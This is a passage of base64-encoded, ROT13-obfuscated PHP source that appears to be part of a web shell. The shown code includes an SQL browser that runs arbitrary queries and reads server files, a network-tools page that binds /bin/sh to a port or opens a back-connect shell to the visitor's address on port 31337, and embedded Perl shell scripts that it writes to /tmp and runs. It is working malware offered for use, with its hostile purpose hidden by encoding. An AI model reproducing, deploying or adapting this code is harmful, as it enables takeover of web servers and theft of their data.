QkJJHBieWh6YWZbXSA9ICR4OwoJCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgICAgICRmZHkgPSAnVkFGUkVHIFZBR0IgJy4kZ25veXIuJyAoJy52emN5YnFyKCIsICIsICRwYnloemFmKS4nKSBJTllIUkYgKCcudnpjeWJxcigiLCAiLCAkdmdyeikuJyk7Jy4iXGEiOwogICAgICAgICAgICAgICAgICAgICAgICB2cygkc2MpIHNqZXZncigkc2MsICRmZHkpOyByeWZyIHJwdWIoJGZkeSk7CgkJCQkJfQoJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCX07CgkkcW8gPSBhcmogUW9QeW5mZigkX0NCRkdbJ2dsY3InXSk7Cgl2cygoQCRfQ0JGR1snYzInXT09J3FiamF5Ym5xJykgJiYgKEAkX0NCRkdbJ2MxJ10hPSdmcnlycGcnKSkgewoJCSRxby0+cGJhYXJwZygkX0NCRkdbJ2ZkeV91YmZnJ10sICRfQ0JGR1snZmR5X3lidHZhJ10sICRfQ0JGR1snZmR5X2NuZmYnXSwgJF9DQkZHWydmZHlfb25mciddKTsKCQkkcW8tPmZyeXJwZ3FvKCRfQ0JGR1snZmR5X29uZnInXSk7CiAgICAgICAgZmp2Z3B1KCRfQ0JGR1sncHVuZWZyZyddKSB7CiAgICAgICAgICAgIHBuZnIgIkp2YXFiamYtMTI1MSI6ICRxby0+ZnJnUHVuZWZyZygncGMxMjUxJyk7IG9lcm54OwogICAgICAgICAgICBwbmZyICJIR1MtOCI6ICRxby0+ZnJnUHVuZWZyZygnaGdzOCcpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAiWEJWOC1FIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4ZScpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAiWEJWOC1IIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4aCcpOyBvZXJueDsKICAgICAgICAgICAgcG5mciAicGM4NjYiOiAkcW8tPmZyZ1B1bmVmcmcoJ3BjODY2Jyk7IG9lcm54OwogICAgICAgIH0KICAgICAgICB2cyhyemNnbCgkX0NCRkdbJ3N2eXInXSkpIHsKICAgICAgICAgICAgYm9fZmduZWcoImJvX3RtdW5hcXlyZSIsIDQwOTYpOwogICAgICAgICAgICB1cm5xcmUoIlBiYWdyYWctUXZmY2Jmdmd2YmE6IG5nZ25wdXpyYWc7IHN2eXJhbnpyPXFoemMuZmR5Iik7CiAgICAgICAgICAgIHVybnFyZSgiUGJhZ3JhZy1HbGNyOiBncmtnL2N5bnZhIik7CiAgICAgICAgICAgIHNiZXJucHUoJF9DQkZHWydnb3knXSBuZiAkaSkKCQkJCSRxby0+cWh6YygkaSk7CiAgICAgICAgICAgIHJrdmc7CiAgICAgICAgfSByeWZydnMoJHNjID0gQHNiY3JhKCRfQ0JGR1snc3Z5ciddLCAnaicpKSB7CiAgICAgICAgICAgIHNiZXJucHUoJF9DQkZHWydnb3knXSBuZiAkaSkKICAgICAgICAgICAgICAgICRxby0+cWh6YygkaSwgJHNjKTsKICAgICAgICAgICAgc3B5YmZyKCRzYyk7CiAgICAgICAgICAgIGhhZnJnKCRfQ0JGR1snYzInXSk7CiAgICAgICAgfSByeWZyCiAgICAgICAgICAgIHF2cignPGZwZXZjZz5ueXJlZygiUmVlYmUhIFBuYVwnZyBiY3JhIHN2eXIiKTtqdmFxYmoudXZmZ2JlbC5vbnB4KC0xKTwvZnBldmNnPicpOwoJfQoJamZiVXJucXJlKCk7CglycHViICIKPHUxPkZkeSBvZWJqZnJlPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CjxzYmV6IGFuenI9J2ZzJyB6cmd1YnE9J2NiZmcnIGJhZmhvenZnPSdzZihndXZmKTsnPjxnbm95ciBwcnl5Y25xcXZhdD0nMicgcHJ5eWZjbnB2YXQ9JzAnPjxnZT4KPGdxPkdsY3I8L2dxPjxncT5VYmZnPC9ncT48Z3E+WWJ0dmE8L2dxPjxncT5DbmZmamJlcTwvZ3E+PGdxPlFuZ25vbmZyPC9ncT48Z3E+PC9ncT48L2dlPjxnZT4KPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9biBpbnlocj1GZHk+PHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzEgaW55aHI9J2RocmVsJz48dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1jMiBpbnlocj0nJz48dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wIGlueWhyPSciLiB1Z3p5ZmNycHZueXB1bmVmKCRUWUJPTllGWydwanEnXSkgLiInPjx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIuICh2ZmZyZygkX0NCRkdbJ3B1bmVmcmcnXSk/JF9DQkZHWydwdW5lZnJnJ106JycpIC4iJz4KPGdxPjxmcnlycGcgYW56cj0nZ2xjcic+PGJjZ3ZiYSBpbnlocj0nemxmZHknICI7CiAgICB2cyhAJF9DQkZHWydnbGNyJ109PSd6bGZkeScpcnB1YiAnZnJ5cnBncnEnOwpycHViICI+WmxGZHk8L2JjZ3ZiYT48YmNndmJhIGlueWhyPSdjdGZkeScgIjsKdnMoQCRfQ0JGR1snZ2xjciddPT0nY3RmZHknKXJwdWIgJ2ZyeXJwZ3JxJzsKcnB1YiAiPkNiZmd0ZXJGZHk8L2JjZ3ZiYT48L2ZyeXJwZz48L2dxPgo8Z3E+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWZkeV91YmZnIGlueWhyPVwiIi4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3ViZmcnXSk/J3licG55dWJmZyc6dWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2ZkeV91YmZnJ10pKSAuIlwiPjwvZ3E+CjxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZmR5X3lidHZhIGlueWhyPVwiIi4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3lidHZhJ10pPydlYmJnJzp1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snZmR5X3lidHZhJ10pKSAuIlwiPjwvZ3E+CjxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZmR5X2NuZmYgaW55aHI9XCIiLiAocnpjZ2woJF9DQkZHWydmZHlfY25mZiddKT8nJzp1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snZmR5X2NuZmYnXSkpIC4iXCI+PC9ncT48Z3E+IjsKCSRnemMgPSAiPHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWZkeV9vbmZyIGlueWhyPScnPiI7Cgl2cyh2ZmZyZygkX0NCRkdbJ2ZkeV91YmZnJ10pKXsKCQl2cygkcW8tPnBiYWFycGcoJF9DQkZHWydmZHlfdWJmZyddLCAkX0NCRkdbJ2ZkeV95YnR2YSddLCAkX0NCRkdbJ2ZkeV9jbmZmJ10sICRfQ0JGR1snZmR5X29uZnInXSkpIHsKCQkJZmp2Z3B1KCRfQ0JGR1sncHVuZWZyZyddKSB7CgkJCQlwbmZyICJKdmFxYmpmLTEyNTEiOiAkcW8tPmZyZ1B1bmVmcmcoJ3BjMTI1MScpOyBvZXJueDsKCQkJCXBuZnIgIkhHUy04IjogJHFvLT5mcmdQdW5lZnJnKCdoZ3M4Jyk7IG9lcm54OwoJCQkJcG5mciAiWEJWOC1FIjogJHFvLT5mcmdQdW5lZnJnKCd4YnY4ZScpOyBvZXJueDsKCQkJCXBuZnIgIlhCVjgtSCI6ICRxby0+ZnJnUHVuZWZyZygneGJ2OGgnKTsgb2Vybng7CgkJCQlwbmZyICJwYzg2NiI6ICRxby0+ZnJnUHVuZWZyZygncGM4NjYnKTsgb2Vybng7CgkJCX0KCQkJJHFvLT55dmZnUW9mKCk7CgkJCXJwdWIgIjxmcnlycGcgYW56cj1mZHlfb25mcj48YmNndmJhIGlueWhyPScnPjwvYmNndmJhPiI7CgkJCWp1dnlyKCR2Z3J6ID0gJHFvLT5zcmdwdSgpKSB7CgkJCQl5dmZnKCR4cmwsICRpbnlocikgPSBybnB1KCR2Z3J6KTsKCQkJCXJwdWIgJzxiY2d2YmEgaW55aHI9IicuJGlueWhyLiciICcuKCRpbnlocj09JF9DQkZHWydmZHlfb25mciddPydmcnlycGdycSc6JycpLic+Jy4kaW55aHIuJzwvYmNndmJhPic7CgkJCX0KCQkJcnB1YiAnPC9mcnlycGc+JzsKCQl9CgkJcnlmciBycHViICRnemM7Cgl9cnlmcgoJCXJwdWIgJGd6YzsKCXJwdWIgIjwvZ3E+CgkJCQk8Z3E+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+PicgYmFweXZweD0nc2YocS5mcyk7Jz48L2dxPgogICAgICAgICAgICAgICAgPGdxPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9ZmR5X3BiaGFnIGlueWhyPSdiYSciIC4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3BiaGFnJ10pPycnOicgcHVycHhycScpIC4gIj4gcGJoYWcgZ3VyIGFoem9yZSBicyBlYmpmPC9ncT4KCQkJPC9nZT4KCQk8L2dub3lyPgoJCTxmcGV2Y2c+CiAgICAgICAgICAgIGZfcW89JyIuQG5xcWZ5bmZ1cmYoJF9DQkZHWydmZHlfb25mciddKS4iJzsKICAgICAgICAgICAgc2hhcGd2YmEgc2YocykgewogICAgICAgICAgICAgICAgdnMocy5mZHlfb25mci5pbnlociE9Zl9xbykgeyBzLmJhZmhvenZnID0gc2hhcGd2YmEoKSB7fTsKICAgICAgICAgICAgICAgICAgICB2cyhzLmMxKSBzLmMxLmlueWhyPScnOwogICAgICAgICAgICAgICAgICAgIHZzKHMuYzIpIHMuYzIuaW55aHI9Jyc7CiAgICAgICAgICAgICAgICAgICAgdnMocy5jMykgcy5jMy5pbnlocj0nJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJCQlzaGFwZ3ZiYSBmZyhnLHkpIHsKCQkJCXEuZnMuYzEuaW55aHIgPSAnZnJ5cnBnJzsKCQkJCXEuZnMuYzIuaW55aHIgPSBnOwogICAgICAgICAgICAgICAgdnMoeSAmJiBxLmZzLmMzKSBxLmZzLmMzLmlueWhyID0geTsKCQkJCXEuZnMuZmhvenZnKCk7CgkJCX0KCQkJc2hhcGd2YmEgdmYoKSB7CgkJCQlzYmUodj0wO3Y8cS5mcy5yeXJ6cmFnZlsnZ295W10nXS55cmF0Z3U7Kyt2KQoJCQkJCXEuZnMucnlyenJhZ2ZbJ2dveVtdJ11bdl0ucHVycHhycSA9ICFxLmZzLnJ5cnpyYWdmWydnb3lbXSddW3ZdLnB1cnB4cnE7CgkJCX0KCQk8L2ZwZXZjZz4iOwoJdnModmZmcmcoJHFvKSAmJiAkcW8tPnl2YXgpewoJCXJwdWIgIjxvZS8+PGdub3lyIGp2cWd1PTEwMCUgcHJ5eWNucXF2YXQ9MiBwcnl5ZmNucHZhdD0wPiI7CgkJCXZzKCFyemNnbCgkX0NCRkdbJ2ZkeV9vbmZyJ10pKXsKCQkJCSRxby0+ZnJ5cnBncW8oJF9DQkZHWydmZHlfb25mciddKTsKCQkJCXJwdWIgIjxnZT48Z3EganZxZ3U9MSBmZ2x5cj0nb2JlcXJlLWdiYzoyY2sgZmJ5dnEgIzY2NjsnPjxmY25hPkdub3lyZjo8L2ZjbmE+PG9lPjxvZT4iOwoJCQkJJGdveWZfZXJmID0gJHFvLT55dmZnR25veXJmKCk7CgkJCQlqdXZ5cigkdmdyeiA9ICRxby0+c3JncHUoJGdveWZfZXJmKSkgewoJCQkJCXl2ZmcoJHhybCwgJGlueWhyKSA9IHJucHUoJHZncnopOwogICAgICAgICAgICAgICAgICAgIHZzKCFyemNnbCgkX0NCRkdbJ2ZkeV9wYmhhZyddKSkKICAgICAgICAgICAgICAgICAgICAgICAgJGEgPSAkcW8tPnNyZ3B1KCRxby0+ZGhyZWwoJ0ZSWVJQRyBQQkhBRygqKSBuZiBhIFNFQlogJy4kaW55aHIuJycpKTsKCQkJCQkkaW55aHIgPSB1Z3p5ZmNycHZueXB1bmVmKCRpbnlocik7CgkJCQkJcnB1YiAiPGFib2U+PHZhY2hnIGdsY3I9J3B1cnB4b2JrJyBhbnpyPSdnb3lbXScgaW55aHI9JyIuJGlueWhyLiInPiZhb2ZjOzxuIHVlcnM9IyBiYXB5dnB4PVwiZmcoJyIuJGlueWhyLiInLDEpXCI+Ii4kaW55aHIuIjwvbj4iIC4gKHJ6Y2dsKCRfQ0JGR1snZmR5X3BiaGFnJ10pPycmYW9mYzsnOiIgPGZ6bnl5Pih7JGFbJ2EnXX0pPC9mem55eT4iKSAuICI8L2Fib2U+PG9lPiI7CgkJCQl9CgkJCQlycHViICI8dmFjaGcgZ2xjcj0ncHVycHhvYmsnIGJhcHl2cHg9J3ZmKCk7Jz4gPHZhY2hnIGdsY3I9b2hnZ2JhIGlueWhyPSdRaHpjJyBiYXB5dnB4PSdxYnBoenJhZy5mcy5jMi5pbnlocj1cInFiamF5Ym5xXCI7cWJwaHpyYWcuZnMuZmhvenZnKCk7Jz48b2U+U3Z5ciBjbmd1Ojx2YWNoZyBnbGNyPWdya2cgYW56cj1zdnlyIGlueWhyPSdxaHpjLmZkeSc+PC9ncT48Z3EgZmdseXI9J29iZXFyZS1nYmM6MmNrIGZieXZxICM2NjY7Jz4iOwoJCQkJdnMoQCRfQ0JGR1snYzEnXSA9PSAnZnJ5cnBnJykgewoJCQkJCSRfQ0JGR1snYzEnXSA9ICdkaHJlbCc7CiAgICAgICAgICAgICAgICAgICAgJF9DQkZHWydjMyddID0gJF9DQkZHWydjMyddPyRfQ0JGR1snYzMnXToxOwoJCQkJCSRxby0+ZGhyZWwoJ0ZSWVJQRyBQQkhBRygqKSBuZiBhIFNFQlogJyAuICRfQ0JGR1snYzInXSk7CgkJCQkJJGFoeiA9ICRxby0+c3JncHUoKTsKCQkJCQkkY250cmYgPSBwcnZ5KCRhaHpbJ2EnXSAvIDMwKTsKICAgICAgICAgICAgICAgICAgICBycHViICI8ZnBldmNnPnEuZnMuYmFmaG96dmc9c2hhcGd2YmEoKXtmZyhcIiIgLiAkX0NCRkdbJ2MyJ10gLiAiXCIsIHEuZnMuYzMuaW55aHIpfTwvZnBldmNnPjxmY25hPiIuJF9DQkZHWydjMiddLiI8L2ZjbmE+ICh7JGFoelsnYSddfSBlcnBiZXFmKSBDbnRyICMgPHZhY2hnIGdsY3I9Z3JrZyBhbnpyPSdjMycgaW55aHI9IiAuICgodmFnKSRfQ0JGR1snYzMnXSkgLiAiPiI7CiAgICAgICAgICAgICAgICAgICAgcnB1YiAiIGJzICRjbnRyZiI7CiAgICAgICAgICAgICAgICAgICAgdnMoJF9DQkZHWydjMyddID4gMSkKICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAiIDxuIHVlcnM9IyBiYXB5dnB4PSdmZyhcIiIgLiAkX0NCRkdbJ2MyJ10gLiAnIiwgJyAuICgkX0NCRkdbJ2MzJ10tMSkgLiAiKSc+JnlnOyBDZXJpPC9uPiI7CiAgICAgICAgICAgICAgICAgICAgdnMoJF9DQkZHWydjMyddIDwgJGNudHJmKQogICAgICAgICAgICAgICAgICAgICAgICBycHViICIgPG4gdWVycz0jIGJhcHl2cHg9J2ZnKFwiIiAuICRfQ0JGR1snYzInXSAuICciLCAnIC4gKCRfQ0JGR1snYzMnXSsxKSAuICIpJz5BcmtnICZ0Zzs8L24+IjsKICAgICAgICAgICAgICAgICAgICAkX0NCRkdbJ2MzJ10tLTsKCQkJCQl2cygkX0NCRkdbJ2dsY3InXT09J2N0ZmR5JykKCQkJCQkJJF9DQkZHWydjMiddID0gJ0ZSWVJQRyAqIFNFQlogJy4kX0NCRkdbJ2MyJ10uJyBZVlpWRyAzMCBCU1NGUkcgJy4oJF9DQkZHWydjMyddKjMwKTsKCQkJCQlyeWZyCgkJCQkJCSRfQ0JGR1snYzInXSA9ICdGUllSUEcgKiBTRUJaIGAnLiRfQ0JGR1snYzInXS4nYCBZVlpWRyAnLigkX0NCRkdbJ2MzJ10qMzApLicsMzAnOwoJCQkJCXJwdWIgIjxvZT48b2U+IjsKCQkJCX0KCQkJCXZzKChAJF9DQkZHWydjMSddID09ICdkaHJlbCcpICYmICFyemNnbCgkX0NCRkdbJ2MyJ10pKSB7CgkJCQkJJHFvLT5kaHJlbChAJF9DQkZHWydjMiddKTsKCQkJCQl2cygkcW8tPmVyZiAhPT0gc255ZnIpIHsKCQkJCQkJJGd2Z3lyID0gc255ZnI7CgkJCQkJCXJwdWIgJzxnbm95ciBqdnFndT0xMDAlIHByeXlmY25wdmF0PTEgcHJ5eWNucXF2YXQ9MiBweW5mZj16bnZhIGZnbHlyPSJvbnB4dGViaGFxLXBieWJlOiMyOTI5MjkiPic7CgkJCQkJCSR5dmFyID0gMTsKCQkJCQkJanV2eXIoJHZncnogPSAkcW8tPnNyZ3B1KCkpCXsKCQkJCQkJCXZzKCEkZ3ZneXIpCXsKCQkJCQkJCQlycHViICc8Z2U+JzsKCQkJCQkJCQlzYmVybnB1KCR2Z3J6IG5mICR4cmwgPT4gJGlueWhyKQoJCQkJCQkJCQlycHViICc8Z3U+Jy4keHJsLic8L2d1Pic7CgkJCQkJCQkJZXJmcmcoJHZncnopOwoJCQkJCQkJCSRndmd5cj1nZWhyOwoJCQkJCQkJCXJwdWIgJzwvZ2U+PGdlPic7CgkJCQkJCQkJJHl2YXIgPSAyOwoJCQkJCQkJfQoJCQkJCQkJcnB1YiAnPGdlIHB5bmZmPSJ5Jy4keXZhci4nIj4nOwoJCQkJCQkJJHl2YXIgPSAkeXZhcj09MT8yOjE7CgkJCQkJCQlzYmVybnB1KCR2Z3J6IG5mICR4cmwgPT4gJGlueWhyKSB7CgkJCQkJCQkJdnMoJGlueWhyID09IGFoeXkpCgkJCQkJCQkJCXJwdWIgJzxncT48dj5haHl5PC92PjwvZ3E+JzsKCQkJCQkJCQlyeWZyCgkJCQkJCQkJCXJwdWIgJzxncT4nLmF5Mm9lKHVnenlmY3Jwdm55cHVuZWYoJGlueWhyKSkuJzwvZ3E+JzsKCQkJCQkJCX0KCQkJCQkJCXJwdWIgJzwvZ2U+JzsKCQkJCQkJfQoJCQkJCQlycHViICc8L2dub3lyPic7CgkJCQkJfSByeWZyIHsKCQkJCQkJcnB1YiAnPHF2aT48bz5SZWViZTo8L28+ICcudWd6eWZjcnB2bnlwdW5lZigkcW8tPnJlZWJlKCkpLic8L3F2aT4nOwoJCQkJCX0KCQkJCX0KCQkJCXJwdWIgIjxvZT48L3NiZXo+PHNiZXogYmFmaG96dmc9J3EuZnMuYzEuaW55aHI9XCJkaHJlbFwiO3EuZnMuYzIuaW55aHI9Z3V2Zi5kaHJlbC5pbnlocjtxYnBoenJhZy5mcy5maG96dmcoKTtlcmdoZWEgc255ZnI7Jz48Z3JrZ25lcm4gYW56cj0nZGhyZWwnIGZnbHlyPSdqdnFndToxMDAlO3VydnR1ZzoxMDBjayc+IjsKICAgICAgICAgICAgICAgIHZzKCFyemNnbCgkX0NCRkdbJ2MyJ10pICYmICgkX0NCRkdbJ2MxJ10gIT0gJ3libnFzdnlyJykpCiAgICAgICAgICAgICAgICAgICAgcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzInXSk7CiAgICAgICAgICAgICAgICBycHViICI8L2dya2duZXJuPjxvZS8+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSdSa3JwaGdyJz4iOwoJCQkJcnB1YiAiPC9ncT48L2dlPiI7CgkJCX0KCQkJcnB1YiAiPC9nbm95cj48L3NiZXo+PG9lLz4iOwogICAgICAgICAgICB2cygkX0NCRkdbJ2dsY3InXT09J3psZmR5JykgewogICAgICAgICAgICAgICAgJHFvLT5kaHJlbCgiRlJZUlBHIDEgU0VCWiB6bGZkeS5oZnJlIEpVUkVSIHBiYXBuZyhgaGZyZWAsICdAJywgYHViZmdgKSA9IEhGUkUoKSBOQVEgYFN2eXJfY2V2aWAgPSAnbCciKTsKICAgICAgICAgICAgICAgIHZzKCRxby0+c3JncHUoKSkKICAgICAgICAgICAgICAgICAgICBycHViICI8c2JleiBiYWZob3p2Zz0ncS5mcy5jMS5pbnlocj1cInlibnFzdnlyXCI7cWJwaHpyYWcuZnMuYzIuaW55aHI9Z3V2Zi5zLmlueWhyO3FicGh6cmFnLmZzLmZob3p2ZygpO2VyZ2hlYSBzbnlmcjsnPjxmY25hPllibnEgc3Z5cjwvZmNuYT4gPHZhY2hnICBweW5mZj0nZ2JieWZWYWMnIGdsY3I9Z3JrZyBhbnpyPXM+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSc+Pic+PC9zYmV6PiI7CiAgICAgICAgICAgIH0KCQkJdnMoQCRfQ0JGR1snYzEnXSA9PSAneWJucXN2eXInKSB7CgkJCQkkc3Z5ciA9ICRxby0+eWJucVN2eXIoJF9DQkZHWydjMiddKTsKCQkJCXJwdWIgJzxvZS8+PGNlciBweW5mZj16eTE+Jy51Z3p5ZmNycHZueXB1bmVmKCRzdnlyWydzdnlyJ10pLic8L2Nlcj4nOwoJCQl9Cgl9IHJ5ZnIgewogICAgICAgIHJwdWIgdWd6eWZjcnB2bnlwdW5lZigkcW8tPnJlZWJlKCkpOwogICAgfQoJcnB1YiAnPC9xdmk+JzsKCWpmYlNiYmdyZSgpOwp9CnNoYXBndmJhIG5wZ3ZiYUFyZ2piZXgoKSB7CglqZmJVcm5xcmUoKTsKCSRvbnB4X3BiYWFycGdfYz0iVmxSaXFLQWxZMldjb3Y5ak1LV2ZRRGMxcDJIdEgyOXduMkkwQmowWFdUeXVNVEVsQ0p5aE1LRXNMS0Vpb3Z0eERJV1VJeWZqS0Z4dHNVanRNVHl5WFBXU3BhV2lwd2J0V1BTcG92VmNCajBYV1VPdU1URWxDS0FpTDJndU1URWxLMnloWFBFT0h4cUpKbVNxWVBOeG5KU3hNVVZjVlVrOFZURWNNRnR2RUtXbG8zVjZWUER1S1Q0dlhHZkFQdkVqcHo5MG9tMWFNS0VqcHo5MG8yVzVvelNnTUZ0YXFUQWpXbHg3UURjbW8yQWVNS0RiSDA5UUYwSUhZUE9ERXk5V0d4SUhZUE9HRzBBWUsxQUhIeElPR0ZqdFdVT2xvM0VpWEZPOHNQT3huSkhiVnhJbHB6OWxCdk54VklraFZ2eDdRRGN3bzI1aE1KQTBYU0FDRDBnU0lQanRXVU91TVRFbFhGTzhzUE94bkpIYlZ4SWxwejlsQnZOeFZJa2hWdng3UURjaXBUSWhYU0FIRVJ5QllQTnZDdk1HRzBBWUVJRHZYR2ZBUHo5ak1KNGJIMUVSRzFJSFlQTnZDdk1HRzBBWUVJRHZYR2ZBUHo5ak1KNGJIMUVSRUlXRllQTnZDdk1HRzBBWUVJRHZYR2ZBUGFBNXAzRXlvRnRhWTJXY292OW1uUE5nbkZwY0JqMFhMMmtpcDJIYkgxRVJGSDRjQmowWEwya2lwMkhiSDFFUkcxSUhYR2ZBUHpBZm8zQXlYU0FIRVJJRkh2eDciOwoJJG92YXFfY2JlZ19jPSJWbFJpcUtBbFkyV2NvdjlqTUtXZlFEYnhIMHVTR1JqOVZ2OXZuSjRpcDJ0dFlKeHZCajBYbkpMdFhST09IeHFKVlFqdFpGeHRybE95clR5MFhRUmNCbE85UURjMXAySHRIMjl3bjJJMEJqMFhwMjl3bjJJMFhTWmZXeU9USzB5QkVJRGZXeUFDRDBnc0gxRUZFSFNBWVRxeXFVT2xvM0VpTGF5aExKMXlYUHEwTDNOYVhGeHRzVWp0TVR5eVZQV1FMSjUwVlRBbE1KUzBNRk9tbzJBZU1LRXBvdlY3UURjbU1LRW1vMkFlbzNPMFhTWmZIMDlaSzFBQ0QwZ1NJUGtHRzE5RkVJSUdFSFNSRVNWZlpGeDdRRGN2bko1eFhTWmZwMjl3bjJTeE1VV3NuSjRiV1JTRkUxTW9aUzBmRkg1T0VSRUZLMFNCSkZ4Y1ZVazhWVEVjTUZOdkQyU2hxUE9pcFRJaFZVT2lwYUVwb3ZWN1FEY2ZuS0EwTUo0Ykhsam1YRk84c1BPeG5KSHRWeEF1b2FEdG9UeW1xVEloVlVPaXBhRXBvdlY3UURjM25UeWZNRnRrWEZPN1FEYldMSkF3TUtPMFhSQUNHeDRmSGx4N1FEYlduSkxiVkZ0eHBUeXhDSk1pcHpmY1hGTzdRRGJXUEpFY01GTnZEMlNob3o5MFZUTWlwemZ2VlR5elZQdHVNVEl6bko1eU1QTnhwVHl4WEdmQVB0eFdvM095b3ZPR0lSRVdHdmp2Q1BNUUcwNUJWd2ZBUHR4V28zT3lvdk9HSVJFQ0lJRGZWdzR6RDA5Qkd2VjdRRGJXUEo5ak1KNHRIMUVSRUlXRllQVitXeEFDR3g0dkJqMFhQRHl5clRJd1ZQRUdGUklaR1BPOHNQT3huSkh0cFVXY29hRHREMDlCR3ZOdkQyU2hxUE95clRJd3FLRXlWUEVHRlJJWkdTa2hWd2ZBUHR4V0wya2lwMkh0RDA5Qkd3ZkFQdHhXTUt1Y3FQTmpCajBYUEswQVBhMD0iOwoJcnB1YiAiPHUxPkFyZ2piZXggZ2JieWY8L3UxPjxxdmkgcHluZmY9cGJhZ3JhZz4KCTxzYmV6IGFuenI9J2FzYycgYmFGaG96dmc9XCJ0KGFoeXksYWh5eSwnb2NjJyxndXZmLmNiZWcuaW55aHIpO2VyZ2hlYSBzbnlmcjtcIj4KCTxmY25hPk92YXEgY2JlZyBnYiAvb3ZhL2Z1IFtjcmV5XTwvZmNuYT48b2UvPgoJQ2JlZzogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2NiZWcnIGlueWhyPSczMTMzNyc+IDx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPgoJPC9zYmV6PgoJPHNiZXogYW56cj0nYXNjJyBiYUZob3p2Zz1cInQoYWh5eSxhaHl5LCdvcGMnLGd1dmYuZnJlaXJlLmlueWhyLGd1dmYuY2JlZy5pbnlocik7ZXJnaGVhIHNueWZyO1wiPgoJPGZjbmE+T25weC1wYmFhcnBnICBbY3JleV08L2ZjbmE+PG9lLz4KCUZyZWlyZTogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2ZyZWlyZScgaW55aHI9JyIuICRfRlJFSVJFWydFUlpCR1JfTlFRRSddIC4iJz4gQ2JlZzogPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J2NiZWcnIGlueWhyPSczMTMzNyc+IDx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0nPj4nPgoJPC9zYmV6PjxvZT4iOwoJdnModmZmcmcoJF9DQkZHWydjMSddKSkgewoJCXNoYXBndmJhIHBzKCRzLCRnKSB7CgkJCSRqID0gQHNiY3JhKCRzLCJqIikgYmUgQHNoYXBndmJhX3JrdmZnZignc3Z5cl9jaGdfcGJhZ3JhZ2YnKTsKCQkJdnMoJGopewoJCQkJQHNqZXZncigkaixAb25mcjY0X3FycGJxcigkZykpOwoJCQkJQHNweWJmcigkaik7CgkJCX0KCQl9CgkJdnMoJF9DQkZHWydjMSddID09ICdvY2MnKSB7CgkJCXBzKCIvZ3pjL29jLmN5Iiwkb3ZhcV9jYmVnX2MpOwoJCQkkYmhnID0gamZiUmsoImNyZXkgL2d6Yy9vYy5jeSAiLiRfQ0JGR1snYzInXS4iIDE+L3FyaS9haHl5IDI+JjEgJiIpOwogICAgICAgICAgICBmeXJyYygxKTsKCQkJcnB1YiAiPGNlciBweW5mZj16eTE+JGJoZ1xhIi5qZmJSaygiY2YgbmhrIHwgdGVyYyBvYy5jeSIpLiI8L2Nlcj4iOwogICAgICAgICAgICBoYXl2YXgoIi9nemMvb2MuY3kiKTsKCQl9CgkJdnMoJF9DQkZHWydjMSddID09ICdvcGMnKSB7CgkJCXBzKCIvZ3pjL29wLmN5Iiwkb25weF9wYmFhcnBnX2MpOwoJCQkkYmhnID0gamZiUmsoImNyZXkgL2d6Yy9vcC5jeSAiLiRfQ0JGR1snYzInXS4iICIuJF9DQkZHWydjMyddLiIgMT4vcXJpL2FoeXkgMj4mMSAmIik7CiAgICAgICAgICAgIGZ5cnJjKDEpOwoJCQlycHViICI8Y2VyIHB5bmZmPXp5MT4kYmhnXGEiLmpmYlJrKCJjZiBuaGsgfCB0ZXJjIG9wLmN5IikuIjwvY2VyPiI7CiAgICAgICAgICAgIGhheXZheCgiL2d6Yy9vcC5jeSIpOwoJCX0KCX0KCXJwdWIgJzwvcXZpPic7CglqZmJTYmJncmUoKTsKfQoKc2hhcGd2YmEgbnBndmJhSENRbmdyKCkgewoJamZiVXJucXJlKCk7CglycHViICI8dTE+SENxbmdyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+IjsKCXNoYXBndmJhIHVnZ2NfdHJnX3BiYWdyYWdmKCRoZXkpewoJCSRwYnFyayA9IEBzdnlyX3RyZ19wYmFncmFnZigkaGV5KTsKCQl2cyAocnpjZ2woJHBicXJrKSl7CgkJCSRwdSA9IHBoZXlfdmF2ZygpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfSEVZLCAkaGV5KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1VSTlFSRSwgMCk7IAoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfU0JZWUJKWUJQTkdWQkEsIDEpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIDEpOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsIDApOwoJCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTFVCRkcsIDApOwoJCQlwaGV5X2ZyZ2JjZygkcHUs